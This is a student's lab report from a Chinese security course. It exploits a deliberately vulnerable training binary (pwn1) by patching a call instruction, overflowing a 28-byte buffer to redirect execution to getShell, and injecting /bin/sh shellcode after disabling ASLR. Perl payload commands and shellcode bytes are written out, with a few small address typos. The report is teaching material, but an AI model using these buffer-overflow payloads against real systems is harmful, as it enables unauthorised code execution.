20175133 于沛辰 Exp1 PC平台逆向破解

一、 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

二、实验步骤

---基础知识

NOP, JNE, JE, JMP, CMP汇编指令的机器码

  NOP:0x90

  JNE:0x75

  JE:0x74

  JMP:

    far Jump:0xEA    

    near Jump:0xE9

    short Jump:0xEB    

  CMP:0x39

---直接修改程序机器指令,改变程序执行流程 

 1、下载目标文件pwn1, 在终端输入objdump -d pwn1 | more 进行反汇编。

    

  输入 /getShell ,跳转到getShell函数、foo函数和main函数。

    

   如上图,“call 8048491 ”是汇编指令,是说这条指令将调用位于地址8048491处的foo函数,其对应机器指令为“e8 d7ffffff”e8即跳转之意。

本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff=   80484ba-0x29正好是8048491这个值,main函数调用foo,对应机器指令为“ e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。用Windows计算器,直接 47d-4ba就能得到补码c3ffffff。

2、修改可执行文件指令

  copy一下pwn1,利用语句 cp pwn1 pwn2 备份pwn1,再用指令vi pwn2对pwn2修改。

    

  得到的是乱码,不方便进行修改,改为方便修改的16进制。

  先按“Esc”键,再输入指令  :%!xxd后,如下图所示:

    

   再输入/e8 d7 定位要修改的地方,修改后:

   

  修改结束后,输入指令 :%!xxd -r 将16进制定位原格式,再输入 :wq 保存并退出

3、查看实验结果

 (1)重复第1、2步操作,把命令中的“pwn1”改为“pwn2”:

    

   由上图可见,main函数调用的为<getShell>。

  (2)运行修改后的可执行文件

  

   pwn2修改过,pwn1会显示输入内容。

---通过构造输入参数,造成BOF攻击,改变程序执行流

 1、重复上一阶段第一步,在终端输入命令:objdump -d pwn1 | more,进行反汇编。

  触发getShell函数,该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞,

    

  这里读入字符串,但系统只预留了28(0x1c)字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

    

  上面的call调用foo,同时在堆栈上压上返回地址值:8048ba

 2、确认输入字符串哪几个字符会覆盖到返回地址

 (1)安装调试工具gdb,输入指令 apt-get install gdb 安装gdb

    

   输入指令 gdb pwn1 ,进入调试界面,在输入“r”输入 1111111122222222333333334444444412345678

  使用指令 info r ,查看当前寄存器状态,

    

   如上图,寄存器EIP对应的值是“0x34333231”,是输入的第33-36位,即“1234”的ASCII值。

  “1234”覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

 3、确认用什么值来覆盖返回地址

   通过前面的反汇编可以看到,getShell的地址为“0804847d”,因为在反汇编结果中,高低字节顺序发生变化,高字节在后,低字节在前,

  按照书写习惯,所以应该输入 11111111222222223333333344444444\x7d\x84\x04\x08

 4、构造输入字符

  -由为没法通过键盘输入 \x7d\x84\x04\x08 这样的16进制值,所以先生成包括这样字符串的一个文件。 \x0a 表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

  -利用解释型语句Perl,输出重定向“>”将perl生成的字符串存储到文件input中,输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 

  -输入命令 xdd input 查看input文件

  -然后将input的输入,通过管道符“|”,作为pwn1的输入,利用语句(cat input; cat) | ./pwn20175104
    

  如图所示,input文件可以直接执行“ls”命令,所以证明返回地址已被修改

---注入Shellcode并执行

 1、准备一段Shellcode

  -shellcode就是一段机器指令(code)

  -通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),

  -所以这段机器指令被称为shellcode。

  -在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

 2、准备工作

  -安装execstack:输入指令apt-get install prelink,进行安装

    

  -修改一些设置  

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
more /proc/sys/kernel/randomize_va_space  //查看内存地址随机化的参数
2
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 
more /proc/sys/kernel/randomize_va_space
0

  -构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法:
    • retaddr+nop+shellcode
    • nop+shellcode+retaddr(指导书中说明有问题,我就直接选择第一种方法了)
  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
  • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
  • 我们这个buf够放这个shellcode了
  • 结构为:nops+shellcode+retaddr。
    • nop一为是了填充,二是作为“着陆区/滑行区”。
    • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

 3、实验步骤

   -使用输出重定向perl生成的字符串存储到文件input_shellcode中

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90
\x4\x3\x2\x1\x00"' > input_shellcode

   -上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

      -接下来确定\x4\x3\x2\x1到底该填什么。打开一个终端注入这段攻击buf: (cat input_shellcode;cat) | ./pwn1 

    -打开另一个终端,输入命令 ps -ef | grep pwn1  ,并查看到进程号为 2794。

    

   -输入指令 gdb 调试,然后输入 attach 2794 调试进程,

    

   -输入指令 disassemble foo ,反汇编 foo 函数

   -设置断点,来查看注入 buf 的内存地址,输入指令 break *0x080484ae 

   -回到另一终端,敲击“回车”,输入指令 c ,看到提示 “continuing”

   -输入 info r esp 查看栈顶指针所在的位置,并查看改地址存放的数据

    

   -由图可见 0xffffd6bc 存放数据 01020304Shellcode的地址就是0xffffd37c+4,即0xffffd380.

   -修改攻击代码,输入指令,加入地址

perl -e 'print "A" x 32;print "\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0
\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0
\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
 

     

    可以执行命令,注入成功。

 

三、问题回答

---实验感想

  本次实验花费了较多时间,也让我收获了许多新知识,也对kali、以及Linux系统有了更深一步的了解。最后一部分实验了很多次才成功。这次实验也让我复习到了以前所学的汇编的知识,看来以后需要多加复习以前的知识,好在参考了网上的资料,以及询问同学。这次最让我头疼的就是kali的网络设置又出问题,导致无法下载安装gdb,好在冷静下来后在百度上找到了解决办法。总而言之,这次实验收获让我受益匪浅,不仅学习了新知识,也复习到了以前的内容,希望自己再接再厉,能更好的完成第二次实验。

---问题回答:什么是漏洞?漏洞有什么危害?

   答:我认为的计算机漏洞是计算机软硬件(大多数是软件)存在地安全隐患,存在被黑客或者病毒,恶意代码等以可乘之机,造成信息泄露或者财产损失等,漏洞严重时的甚至能对一个国家进行在军事、医疗、社会稳定的攻击。

   

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转载自www.cnblogs.com/BESTIYPC/p/12405857.html